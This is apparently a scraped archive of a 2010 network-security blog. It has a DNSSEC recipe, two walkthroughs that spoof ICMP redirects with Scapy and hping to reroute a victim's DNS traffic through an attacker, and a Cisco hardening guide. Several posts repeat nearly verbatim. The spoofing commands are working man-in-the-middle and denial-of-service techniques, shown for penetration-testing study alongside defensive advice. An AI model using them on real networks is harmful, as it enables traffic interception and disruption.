Quick and dirty DNSSEC recipe:
1) named.conf global options
options {
dnssec-enable yes;
dnssec-validation yes;
};
1.5) "root" zone trusted key
get root key:
dig +multi +noall +answer DNSKEY . >root.dnskey
convert to DS RR set:
dnssec-dsfromkey -f root.dnskey . >root.ds
include in named.conf:
managed-keys {
"." initial-key 257 3 8 "
blah blah blah ";
};
2) Generating key signing key (KSK) and zone signing key (ZSK)
ZSK: dnssec-keygen -r /dev/random -a RSASHA1 -b 1024 -n ZONE myzone.name
KSK: dnssec-keygen -r /dev/random -f KSK -a RSASHA1 -b 1280 -n ZONE myzone.name
3) Inside your zone file, include the public keys
$include Kmyzone.name.+005+1234.key ;ZSK
$include Kmyzone.name.+005+4567.key ;KSK
4) Sign the DNS zone
dnssec-signzone -r /dev/random -o myzone.name -k Kmyzone.name.+005+1234 myzone.name Kmyzone.name.+005.4567.key
5) Verify the signed zone records:
cat myzone.name.signed
6) Check a query...
dig +dnssec www.myzone.name A
Note: data for which a local name server is authoritative for, and comes from disk will not result in the trust chain traversal. ie: It is assumed that if a server can read the zone off disk, then it is secure anyway.
Wednesday, November 10, 2010
Friday, June 4, 2010
Better spoofing of ICMP host redirect messages with Scapy
Scapy is a packet crafting tool written in Python that offers very fine-grained OSI layer 2, 3, and 4 control of header fields. Scapy will do some things for you automatically if you don't fill in all of the fields in any specific header. Examples of this might be the IP total length field, IP version number, TCP or UDP length fields, and checksum values.
Unlike Hping, when Scapy is used to send ICMP redirects, it does a fine job of calculating all additional fields correct and filling in all required checksums to make things happen correctly. For people familiar with software development, and detailed packet header information, Scapy is an ideal tool.
I used an Ubuntu system to test Scapy out for ICMP redirect activity, obtaining it as follows: "sudo apt-get install python-scapy".
In this scenario, our legitimate router gateway is 192.168.128.2, and our victim/target host is 192.168.128.128. We are going to spoof an ICMP redirect for the /32 host route 10.1.1.1, redirecting that address to the new gateway of 192.168.128.136.
After installing scapy, we will run as root to ensure that we can craft packets from the attacker's ethernet interface. Along the way, we will instantiate different objects representing the various layer 3 and 4 headers that we require. In this case, we require an IP datagram, with ICMP as well as another IP payload to be delivered inside the ICMP payload.
Now, we go forward and set the ICMP parameters as follows, type=5 for redirect, and code=1 for host, and then set the gateway destination.
I deliberately used two different methods for displaying the ICMP object properties to illustrate that you can display either the full header or only the modified fields.
At this stage, we need to create the payload of the ICMP packet itself. This is important because the IP destination address is what becomes the route table host entry when the redirect is sent to the victim. We will set the IP source address within the ICMP payload to be the victim host address since this "would have been" the originator of the packet that elicited the ICMP redirect in a legitimate situation.
The layer 4 portion of the ICMP payload can be anything we like. In this example, we will use Scapy's UDP() method which defaults to looking a lot like a DNS header. Since the defaults are pretty good, we don't need to use a Scapy variable. We can send out our ICMP datagram because it is now fully assembled!
>>> send(ip/icmp/ip2/UDP())
.
Sent 1 packets.
>>>
When packet crafting for research or especially penetration testing work, you should always have 'tcpdump' running and at minimum displaying packet data, if not writing it to disk:
sudo tcpdump -ennvvX -i eth0 -s1514 'icmp'
[sudo] password for deadlist:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
08:55:19.971914 00:0c:29:e3:3f:d3 > 00:0c:29:4d:99:8f, ethertype IPv4 (0x0800), length 70: (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto ICMP (1), length 56)
192.168.128.2 > 192.168.128.128: ICMP redirect 10.1.1.1 to host 192.168.128.136, length 36
(tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 28)
192.168.128.128.53 > 10.1.1.1.53: [udp sum ok] [|domain]
0x0000: 4500 0038 0001 0000 4001 f8f0 c0a8 8002 E..8....@.......
0x0010: c0a8 8080 0501 0612 c0a8 8088 4500 001c ............E...
0x0020: 0001 0000 4011 2ea6 c0a8 8080 0a01 0101 ....@...........
0x0030: 0035 0035 0008 b349 .5.5...I
And there we have it folks! Scapy is a fascinating tool for exploring all sorts of packet crafting ideas and because it's Python, you can have lots of fun scripting things to your heart's content.
Unlike Hping, when Scapy is used to send ICMP redirects, it does a fine job of calculating all additional fields correct and filling in all required checksums to make things happen correctly. For people familiar with software development, and detailed packet header information, Scapy is an ideal tool.
I used an Ubuntu system to test Scapy out for ICMP redirect activity, obtaining it as follows: "sudo apt-get install python-scapy".
In this scenario, our legitimate router gateway is 192.168.128.2, and our victim/target host is 192.168.128.128. We are going to spoof an ICMP redirect for the /32 host route 10.1.1.1, redirecting that address to the new gateway of 192.168.128.136.
After installing scapy, we will run as root to ensure that we can craft packets from the attacker's ethernet interface. Along the way, we will instantiate different objects representing the various layer 3 and 4 headers that we require. In this case, we require an IP datagram, with ICMP as well as another IP payload to be delivered inside the ICMP payload.
Welcome to Scapy (2.0.0.5 beta) >>> ip=IP() >>> ip.src='192.168.128.2' >>> ip.dst='192.168.128.128' >>> ip.display <bound method IP.display of < ip src=192.168.128.2 dst=192.168.128.128 |>>
Now, we go forward and set the ICMP parameters as follows, type=5 for redirect, and code=1 for host, and then set the gateway destination.
>>> icmp=ICMP() >>> icmp.type=5 >>> icmp.code=1 >>> icmp.gw='192.168.128.136' >>> icmp.display <bound method ICMP.display of <icmp type=redirect code=1 gw=192.168.128.136 |>>> >>> icmp.display() ###[ ICMP ]### type= redirect code= 1 chksum= 0x0 gw= 192.168.128.136
I deliberately used two different methods for displaying the ICMP object properties to illustrate that you can display either the full header or only the modified fields.
At this stage, we need to create the payload of the ICMP packet itself. This is important because the IP destination address is what becomes the route table host entry when the redirect is sent to the victim. We will set the IP source address within the ICMP payload to be the victim host address since this "would have been" the originator of the packet that elicited the ICMP redirect in a legitimate situation.
>>> ip2=IP() >>> ip2.src='192.168.128.128' >>> ip2.dst='10.1.1.1' >>> ip2.display <bound method IP.display of <IP src=192.168.128.128 dst=10.1.1.1 |>>
The layer 4 portion of the ICMP payload can be anything we like. In this example, we will use Scapy's UDP() method which defaults to looking a lot like a DNS header. Since the defaults are pretty good, we don't need to use a Scapy variable. We can send out our ICMP datagram because it is now fully assembled!
>>> send(ip/icmp/ip2/UDP())
.
Sent 1 packets.
>>>
When packet crafting for research or especially penetration testing work, you should always have 'tcpdump' running and at minimum displaying packet data, if not writing it to disk:
sudo tcpdump -ennvvX -i eth0 -s1514 'icmp'
[sudo] password for deadlist:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
08:55:19.971914 00:0c:29:e3:3f:d3 > 00:0c:29:4d:99:8f, ethertype IPv4 (0x0800), length 70: (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto ICMP (1), length 56)
192.168.128.2 > 192.168.128.128: ICMP redirect 10.1.1.1 to host 192.168.128.136, length 36
(tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 28)
192.168.128.128.53 > 10.1.1.1.53: [udp sum ok] [|domain]
0x0000: 4500 0038 0001 0000 4001 f8f0 c0a8 8002 E..8....@.......
0x0010: c0a8 8080 0501 0612 c0a8 8088 4500 001c ............E...
0x0020: 0001 0000 4011 2ea6 c0a8 8080 0a01 0101 ....@...........
0x0030: 0035 0035 0008 b349 .5.5...I
And there we have it folks! Scapy is a fascinating tool for exploring all sorts of packet crafting ideas and because it's Python, you can have lots of fun scripting things to your heart's content.
Wednesday, May 26, 2010
Spoofing ICMP redirect host messages with hping
An icmp redirect host message can be sent from any router on the same broadcast segment as the end host that "needs redirection". Modern network infrastructures will typically have a single router gateway address per subnet however it is possible to have more than one router in a segment making the operational case for ICMP redirect messages.
An ICMP redirect host message has ICMP type 5, code 1. The ICMP redirect network code is 0. There also exists redirect with Type of Service (ToS) for both network and host (codes 2 and 3).
With the advent of classless Internet domain routing (CIDR, RFC 1518/1519 in 1993), an end host cannot readily determine the network class and thus ICMP type 5, code 0 is basically useless. RFC 1812 additionally states that a router should not generate type 5, code 0. While working on this post, I observed that a Windows host will accept code 0 and treat it the same as code 1 adding a /32 route to the table.
Because IP source address spoofing is trivial, ICMP redirect message abuse potential exists. The only specific limitation is that the "new" destination gateway address of the redirect message must exist within the same subnet as the end host itself.
The ICMP redirect use case would most likely be employed in a network penetration testing scenario whereby extensive layer 2 security features are enabled limiting the effectiveness of layer 2 attacks such as ARP cache poisoning and rogue DHCP server use. The primary goal being to intercept traffic for a specific destination address.
The end host must be configured to accept ICMP redirect messages and update its routing table accordingly. Within Microsoft Windows, there is a registry key that enables the acceptance of ICMP redirect messages. This DWORD registry key has a default setting of 0x0001, that being the "enabled" state.
HKLM\System\CurrentControlSet\Services\Parameters\Tcpip\EnableICMPRedirect
Based on my reading, I believe some implementations of the Microsoft TCP/IP stack also read the plural form of this key "EnableICMPRedirects" rather than the singular form, so it is possible that both keys exist.
With regard to the Windows XP firewall, it will block all ICMP requests in its default configuration state. Of course, there may be site wide group policy that changes this situation for legitimate operational reasons such as multiple router gateways existing in a single segment. If you wish to experiment, and enable 'icmp redirect' from the command line, there are two useful 'netsh' commands as follows:
C:\> netsh firewall show icmpsetting
shows the current state of ICMP acceptance if any. A blank output indicates that no ICMP policies are in effect.
C:\> netsh firewall set icmpsetting type=5 mode=enable
will enable the acceptance of ICMP redirects through the firewall.
The Linux kernel has two settings that control ICMP redirect acceptance behavior. For the 'eth0' interface, these settings are as follows:
/proc/sys/net/ipv4/conf/eth0/accept_redirects
/proc/sys/net/ipv4/conf/eth0/secure_redirects
If "secure_redirects" is enabled, the Linux system will only accept ICMP redirects that are redirected to a default gateway that is already listed in the routing table. This is the default in most modern linux distributions and is an effective defense against spoofing attempts.
'accept_redirects' is enabled as the default also. If the 'secure_redirects' kernel parameter is set to 0, then the linux kernel is susceptible to an ICMP host redirect attack in the same way that a Windows system is susceptible. The one thing to note is that the linux kernel will not show the accepted route in the routing table that is listed through 'route show' or 'netstat -nr' commands, even though the route is in effect.
Our scenario below is laid out as follows:
Attacker IP Address: 172.16.235.99
Legitimate Router Gateway: 172.16.235.1
Victim IP Address: 172.16.235.100
The legitimate DNS server address is 10.1.1.1.
We can use ICMP redirect host to insert a new route table entry for the 10.1.1.1 address as follows:
hping -I eth-dest -C 5 -K 1 -a 172.16.235.1 --icmp-ipdst 10.1.1.1 --icmp-gw 172.16.235.99 --icmp-ipsrc 172.16.235.100 172.16.235.100
whereby:
-I eth-dest is the destination ethernet interface on the attacker to send the packets out of/from.
-a is the spoofed source address of the legit. router gateway
--icmp-ipdst is the new route table entry address you want to create
--icmp-gw is the new route destination address/gateway you want to create and must live within the same subnet as the victim.
--icmp-ipsrc must match the source address of the victim to pass sanity checking
If you check the route table on the victim using "netstat -nr" or "route print" after executing this command from the attacker, you should see a new route table entry. Since MS-Windows will readily accept these new route table entries, many ICMP redirects can be generated with random IPv4 prefixes to perform a denial of service against the target. A /32 host route learned via an ICMP redirect message will remain in the routing table for 10 minutes.
In this example, we assumed that the attacker was on the same subnet in order to receive / intercept the traffic. In other words, the attacker would also be a DNS server ready to serve some bogus response to the victim. The attacking host could well be a different machine on another network, but the "man in the middle" host or "router gateway" if you like needs to remain on the same subnet in order to receive the traffic.
An ICMP redirect host message has ICMP type 5, code 1. The ICMP redirect network code is 0. There also exists redirect with Type of Service (ToS) for both network and host (codes 2 and 3).
With the advent of classless Internet domain routing (CIDR, RFC 1518/1519 in 1993), an end host cannot readily determine the network class and thus ICMP type 5, code 0 is basically useless. RFC 1812 additionally states that a router should not generate type 5, code 0. While working on this post, I observed that a Windows host will accept code 0 and treat it the same as code 1 adding a /32 route to the table.
Because IP source address spoofing is trivial, ICMP redirect message abuse potential exists. The only specific limitation is that the "new" destination gateway address of the redirect message must exist within the same subnet as the end host itself.
The ICMP redirect use case would most likely be employed in a network penetration testing scenario whereby extensive layer 2 security features are enabled limiting the effectiveness of layer 2 attacks such as ARP cache poisoning and rogue DHCP server use. The primary goal being to intercept traffic for a specific destination address.
The end host must be configured to accept ICMP redirect messages and update its routing table accordingly. Within Microsoft Windows, there is a registry key that enables the acceptance of ICMP redirect messages. This DWORD registry key has a default setting of 0x0001, that being the "enabled" state.
HKLM\System\CurrentControlSet\Services\Parameters\Tcpip\EnableICMPRedirect
Based on my reading, I believe some implementations of the Microsoft TCP/IP stack also read the plural form of this key "EnableICMPRedirects" rather than the singular form, so it is possible that both keys exist.
With regard to the Windows XP firewall, it will block all ICMP requests in its default configuration state. Of course, there may be site wide group policy that changes this situation for legitimate operational reasons such as multiple router gateways existing in a single segment. If you wish to experiment, and enable 'icmp redirect' from the command line, there are two useful 'netsh' commands as follows:
C:\> netsh firewall show icmpsetting
shows the current state of ICMP acceptance if any. A blank output indicates that no ICMP policies are in effect.
C:\> netsh firewall set icmpsetting type=5 mode=enable
will enable the acceptance of ICMP redirects through the firewall.
The Linux kernel has two settings that control ICMP redirect acceptance behavior. For the 'eth0' interface, these settings are as follows:
/proc/sys/net/ipv4/conf/eth0/accept_redirects
/proc/sys/net/ipv4/conf/eth0/secure_redirects
If "secure_redirects" is enabled, the Linux system will only accept ICMP redirects that are redirected to a default gateway that is already listed in the routing table. This is the default in most modern linux distributions and is an effective defense against spoofing attempts.
'accept_redirects' is enabled as the default also. If the 'secure_redirects' kernel parameter is set to 0, then the linux kernel is susceptible to an ICMP host redirect attack in the same way that a Windows system is susceptible. The one thing to note is that the linux kernel will not show the accepted route in the routing table that is listed through 'route show' or 'netstat -nr' commands, even though the route is in effect.
Our scenario below is laid out as follows:
Attacker IP Address: 172.16.235.99
Legitimate Router Gateway: 172.16.235.1
Victim IP Address: 172.16.235.100
The legitimate DNS server address is 10.1.1.1.
We can use ICMP redirect host to insert a new route table entry for the 10.1.1.1 address as follows:
hping -I eth-dest -C 5 -K 1 -a 172.16.235.1 --icmp-ipdst 10.1.1.1 --icmp-gw 172.16.235.99 --icmp-ipsrc 172.16.235.100 172.16.235.100
whereby:
-I eth-dest is the destination ethernet interface on the attacker to send the packets out of/from.
-a
--icmp-ipdst
--icmp-gw
--icmp-ipsrc
If you check the route table on the victim using "netstat -nr" or "route print" after executing this command from the attacker, you should see a new route table entry. Since MS-Windows will readily accept these new route table entries, many ICMP redirects can be generated with random IPv4 prefixes to perform a denial of service against the target. A /32 host route learned via an ICMP redirect message will remain in the routing table for 10 minutes.
In this example, we assumed that the attacker was on the same subnet in order to receive / intercept the traffic. In other words, the attacker would also be a DNS server ready to serve some bogus response to the victim. The attacking host could well be a different machine on another network, but the "man in the middle" host or "router gateway" if you like needs to remain on the same subnet in order to receive the traffic.
Wednesday, May 5, 2010
Network Infrastructure Defense Really Matters!
In today’s world of focused client side device attacks, many security analysts and network security engineers have lost sight of defense configurations that can really make a sizable impact in slowing down network intrusion activity. This article is about network infrastructure precautions that, when sensibly deployed, can assist greatly in defense posture. I will focus both on general recommendations and specific Cisco features in the enterprise LAN space.
Network Access / Layer 2 Defenses
1. DHCP Protocol Snooping
The DHCP snooping feature is very effective at preventing rogue DHCP servers from operating on a network. A rogue DHCP server is most dangerous for its ability to deliver alternative Domain Name Server (DNS) addresses. The alternate DNS servers will of course deliver whatever custom DNS responses needed to intercept important traffic, re-direct traffic to fake websites etc. Typically, rogue DHCP server responses will always beat the response time of a central DHCP server due to its layer 2 network adjacency.
Most networks will have centrally deployed DHCP server(s) for IP address delivery. The DHCP snooping feature ensures that DHCP responses can only be transmitted from “trusted” network interfaces, usually interfaces which are uplinks to the core network infrastructure. This technology can be deployed on a per-Virtual LAN (VLAN) basis assuming the feature is present on the specific switch model in hand. (Cisco 3560/3750 switches make this feature available)
If a “non-trusted” switch port receives a DHCP RESPONSE, or DHCP ACK packet, it can be configured to shutdown.
A side effect of deploying this feature is that a tracking table is built within the switch containing details such as the client IP address and MAC/Ethernet address information.
2. Dynamic Address Resolution Protocol (ARP) Inspection (DAI)
DAI leverages the DHCP snooping table to ensure that IP address to MAC address mapping is consistent. It also has a denial of service (DoS) prevention feature to limit the rate of ARP packets on a network segment. DAI is very effective against broadcast gratuitous ARP traffic, typically used for traffic interception purposes by tools like “Ettercap”, and “Cain N’Able”.
3. IP Source Guard
Again, we leverage the DHCP snooping table and place a dynamic IP access list on ingress traffic to ensure that the source IP address for all packets on any one switch interface is indeed the system connected to this port.
4. Switchport Security
Essential to prevent the Content Addressable Memory (CAM) table from being flooded. All network switches track the bridging destination of a packet by it’s destination MAC address. The MAC addresses are placed into the CAM table which has a fixed / limited maximum size. On a typical Cisco switch, the CAM table defaults to 6,000 MAC address entries in the switches default mode. If the switch is optimized for desktop VLAN based switching, higher end switch models (such as the Catalyst 3750) can contain a maximum of 12,000 CAM entries.
When the CAM table on a switch is filled up, the switch will flood/transmit all Ethernet frames out of all switch ports. It is a relatively trivial matter to write code to generate packets to random Ethernet destinations and thus quickly fill a switch CAM table. The goal is to effectively turn the switch into a hub and enable traffic interception.
If a switch can be configured to limit the number of CAM entries permitted on any single port, the CAM flooding attack is defeated.
5. Broadcast Suppression (storm control)
End devices generate broadcasts that are typically associated with ARP traffic. On a gigabit enabled Ethernet port, a 1% broadcast suppression level still leaves open the potential for up to 10Mbps of broadcast traffic. On a Cisco device, we can suppress down to 1% of link speed using “storm-control broadcast level 1”. Multicast can also be suppressed independently from broadcast on some devices.
In environments where multicast is in production use, network engineers need to assess the level of multicast required to/from any one access port and then suppress at that level.
Broadcast suppression is critical in avoiding denial of service (DoS) conditions that can either be created by operational errors, or by a security incident / malware.
Routing / Layer 3 Defenses
Thinking in terms of “defense in depth”, layer 3 defenses act as a backup to the layer 2 defenses in place at the access layer of the network. Layer 3 defenses can be sub-divided into routing device protection (denial of service and infrastructure mapping protection), and network infrastructure protection. We will first consider the network infrastructure category.
1. Disable Proxy ARP (no ip proxy-arp)
Proxy ARP is a feature which allows the router to act as proxy for any host in its adjacent sub-network. When enabled, proxy ARP allows an end host, with an IP address that falls within the sub-network address range, to set its sub-network mask (and broadcast) to almost anything, and still be able to communicate on the network. An end host could even set the smallest mask possible, eliminate a router gateway setting, and still be able to surf the entire IPv4 address space.
The end host is allowed to logically appear on almost any network due to the router “proxying” address resolution of all things for that host. It can be used for denial of service attacks amongst other things.
2. Unicast Reverse Path Forwarding (uRPF) Sanity Check
The uRPF check ensures that the source IP address is reachable from the router interface that received the IP datagram. Cisco devices implement two forms of uRPF check; the strict form which looks at the specific interface the datagram is received on, versus the looser check which will match on any connected interface. The uRPF check is another critical measure which forms a “belt and suspenders” style backup to the IP Source Guard feature in order to defeat source IP address forgery/spoofing.
Two Cisco IOS statements can be used to enforce uRPF sanity checking as follows:
ip verify source reachable-via rx
ip verify source reachable-via any
Two Cisco IOS statements can be used to enforce uRPF sanity checking as follows:
ip verify source reachable-via rx
ip verify source reachable-via any
3. Disable forwarding of IP Options (no ip options)
There are virtually no IPv4 datagrams on the network that require any IP options. The most dangerous IP options from a security perspective are:
Strict Source Route: dictate which router hops a datagram must traverse, and record them.
Loose Source Route: specify optional router hops a datagram can traverse and record them.
Record Route: simply record the router hops a datagram must traverse.
If record route IP options are permitted to be forwarded, they can be used for both reconnaissance and traffic interception purposes. In multicast rich environments, operators need to take note that the “Router Urgent” IP option is used within Internet Group Management Protocol (IGMP) transactions.
4. Disable generation of ICMP type 3, destination unreachable messages (no ip unreachables)
A router that generates ICMP type 3 (unreachable) messages becomes a source of network reconnaissance information. For example:
(a) Type 3, code 0 – “Network Unreachable” can be used to map the internal sub-netting of a network.
(b) Type 3, code 1 – “Host Unreachable” can be used to discover individual hosts within a sub-network.
(c) Type 3, code 13 – “Administratively prohibited” is generated in the context of router Access Control List (ACL) deny statements, and thus can be used to fully map an access control list.
5. Disable directed broadcast (no ip directed-broadcast)
A directed broadcast is generated when a datagram is address to a network address or to a network broadcast address. If we take the class C network of 192.168.99.0/24, and send a datagram to either the 192.168.99.0 or 192.168.99.255 address from outside of that sub-network, then the router interface will typically broadcast the datagram within the network segment/broadcast domain.
This represents security risk in terms of potential network amplification attacks. A common attack from past history was to generate an ICMP ECHO datagram with a spoofed source IP address to a network broadcast address, and subsequently have ALL hosts within that sub-network respond with ICMP ECHO REPLY datagrams. This attack was commonly referred to as a “Smurf” attack.
There are some protocols which depend on directed broadcast to function properly. Wake ON Lan (WOL) is one particular protocol which depends on being able to send UDP datagrams that contain MAC address payloads to a network broadcast address. If your environment requires WOL functionality, you can either filter directed broadcast by source address (for limited risk mitigation), or ensure that the WOL traffic is only generated within the network broadcast domain that will receive it.
In general, having the “no ip directed-broadcast” statement on all router interfaces is a best practice and has in fact become the Cisco IOS default. As stated above, you also have the option of “ip directed-broadcast ACLNAME” to exert more control. Note that you can make an ACL be very specific, down to layer 4 protocol and destination ports if you like however you are still risking DoS by allowing any directed broadcast.
6. Protect your router control-plane from DoS
In the commonly deployed Catalyst-6500 line of router/switches, there are various rate limiters available to assist in protecting the control plane of the router. There are also some useful limits built into the dynamic world of multicast routing. Here are a few items that can be researched further and deployed to any one site's taste:
ip pim register rate-limit
ip multicast route-limit
mls rate-limit
- can apply to unicast, multicast, bridged traffic, or all traffic
- can be applied in sub-systems such as ACL's, IP forwarding, and CEF
Note that in the hardware based router models such as the Cat-6500, some of these rate limiters also impact ICMP transmission behavior, and interact with the switch virtual interface or routed interface configurations (such as: ip unreachables, and ip redirects).
6. Protect your router control-plane from DoS
In the commonly deployed Catalyst-6500 line of router/switches, there are various rate limiters available to assist in protecting the control plane of the router. There are also some useful limits built into the dynamic world of multicast routing. Here are a few items that can be researched further and deployed to any one site's taste:
ip pim register rate-limit
ip multicast route-limit
mls rate-limit
- can apply to unicast, multicast, bridged traffic, or all traffic
- can be applied in sub-systems such as ACL's, IP forwarding, and CEF
Note that in the hardware based router models such as the Cat-6500, some of these rate limiters also impact ICMP transmission behavior, and interact with the switch virtual interface or routed interface configurations (such as: ip unreachables, and ip redirects).
Internet Access Layer / Border Router Filtering Policy
1. Anti-spoofing and Layer 4 Protocol Filtering
Anti-spoofing is a simple concept that needs to be a standard security practice. No datagram with a source address of your site’s IP address allocation should originate from outside of your network. Additionally, you should never send a datagram with your internal allocated network outside of your network.
Anti-spoofing controls can additionally be combined with Layer 4 protocol filtering to ensure that only the desired layer 4 protocols flow into/out of any network.
Lets imagine that your public address allocation is 240.55.0.0/16. Yes, I know this is considered to be IANA Class E reserved right now, but lets use it for our example. Lets also imagine that you want to perform anti-spoof filtering, and pass IPSEC related protocols, GRE, as well as ICMP, TCP, and UDP across your border routers.
In this example, Cisco IOS based ACL’s can be created as follows, and naturally on your border interface you would have “no ip unreachables” to prevent ACL mapping:
ip access-list extended Border-Inbound
10 permit gre any 240.55.0.0 0.0.255.255
20 permit ahp any 240.55.0.0 0.0.255.255
30 permit esp any 240.55.0.0 0.0.255.255
40 permit icmp any 240.55.0.0 0.0.255.255
50 permit tcp any 240.55.0.0 0.0.255.255
60 permit udp any 240.55.0.0 0.0.255.255
99 deny ip any any log-input
ip access-list extended Border-Outbound
10 permit gre 240.55.0.0 0.0.255.255 any
20 permit ahp 240.55.0.0 0.0.255.255 any
30 permit esp 240.55.0.0 0.0.255.255 any
40 permit icmp 240.55.0.0 0.0.255.255 any
50 permit tcp 240.55.0.0 0.0.255.255 any
60 permit udp 240.55.0.0 0.0.255.255 any
99 deny ip any any log-input
In all likelihood, your site may well have more strict ICMP policies than allowing all ICMP to pass through the border router interface(s). A policy which allows ICMP type 11 (time exceeded), for “traceroute” purposes, might be appropriate. Or even a policy that completely denies ICMP at the network border in some cases. It is common knowledge in the security community that ICMP has been used to tunnel other protocols, or as a control channel mechanism. ICMP Echo Request/Reply are often targeted for tunneling or command/control channel activities.
2. Bogon address filtering
Although IPv4 address resources are dwindling, there are still IP address blocks which are unallocated or reserved by the Internet Assigned Numbers Authority (IANA).
Network security engineers should always filter/drop any datagram that arrives at their network edge with a reserved or unallocated source address. Within the interior of a network, any datagram that is destined for a reserved or unallocated address could either be null routed, or perhaps directed to a security device for analysis and/or detention. This is where we enter the realm of Tom Liston’s LaBrea Tarpit or perhaps a honeynet.org project.
Note that IP address allocations continue to happen and thus any security enforcement implementation that deals with unallocated address filtering / forwarding, needs to be updated on a regular basis.
Team Cymru continues to main a bogon address space reference with various filtering techniques:
http://www.team-cymru.org/Services/Bogons/
3. Strategic Null Routing
Create a static route for your shortest network prefix. If we take the same 240.55.0.0/16 network example above, then create a static route to null0 for this prefix within your routing infrastructure as follows:
ip route 240.55.0.0 255.255.0.0 null0
All of your connected sub-networks will have longer prefixes that the /16 null route example above, and thus traffic for all advertised routes within your network will get to destinations just fine. Any sub-network that you do not have allocated (dark space) will get dropped into the sink. You might also need a route like this to advertise to your upstream BGP provider anyway.
You might want to null route some other address prefixes you don't want running around your public facing network, such as RFC-1918 space for example.
4. Basic BGP Security Tips
I don't claim to be an expert in BGP however some basic security principles can be applied as follows:
(a) Include an ACL on your border interfaces to allow TCP port 179 traffic exclusively from your upstream BGP peering neighbor.
(b) Use an MD5 hash/password with your BGP peers.
(c) Use ip-prefix lists either directly or within route-maps to ensure that you are only advertising the prefixes you intend. If you have created a static null route for your entire network allocation, you might want to only advertise this prefix to your upstream.
(d) Use ip-prefix lists to only accept the routes you desire from your upstream. You can filter unallocated IP space (bogons) using this prefix list. You might have reasons to accept only a subset of routes from a specific provider.
(e) Set a maximum Autonomous System (AS) Path limit to limit risks of accepting an unusually long AS Path.
3. Strategic Null Routing
Create a static route for your shortest network prefix. If we take the same 240.55.0.0/16 network example above, then create a static route to null0 for this prefix within your routing infrastructure as follows:
ip route 240.55.0.0 255.255.0.0 null0
All of your connected sub-networks will have longer prefixes that the /16 null route example above, and thus traffic for all advertised routes within your network will get to destinations just fine. Any sub-network that you do not have allocated (dark space) will get dropped into the sink. You might also need a route like this to advertise to your upstream BGP provider anyway.
You might want to null route some other address prefixes you don't want running around your public facing network, such as RFC-1918 space for example.
4. Basic BGP Security Tips
I don't claim to be an expert in BGP however some basic security principles can be applied as follows:
(a) Include an ACL on your border interfaces to allow TCP port 179 traffic exclusively from your upstream BGP peering neighbor.
(b) Use an MD5 hash/password with your BGP peers.
(c) Use ip-prefix lists either directly or within route-maps to ensure that you are only advertising the prefixes you intend. If you have created a static null route for your entire network allocation, you might want to only advertise this prefix to your upstream.
(d) Use ip-prefix lists to only accept the routes you desire from your upstream. You can filter unallocated IP space (bogons) using this prefix list. You might have reasons to accept only a subset of routes from a specific provider.
(e) Set a maximum Autonomous System (AS) Path limit to limit risks of accepting an unusually long AS Path.
Subscribe to:
Posts (Atom)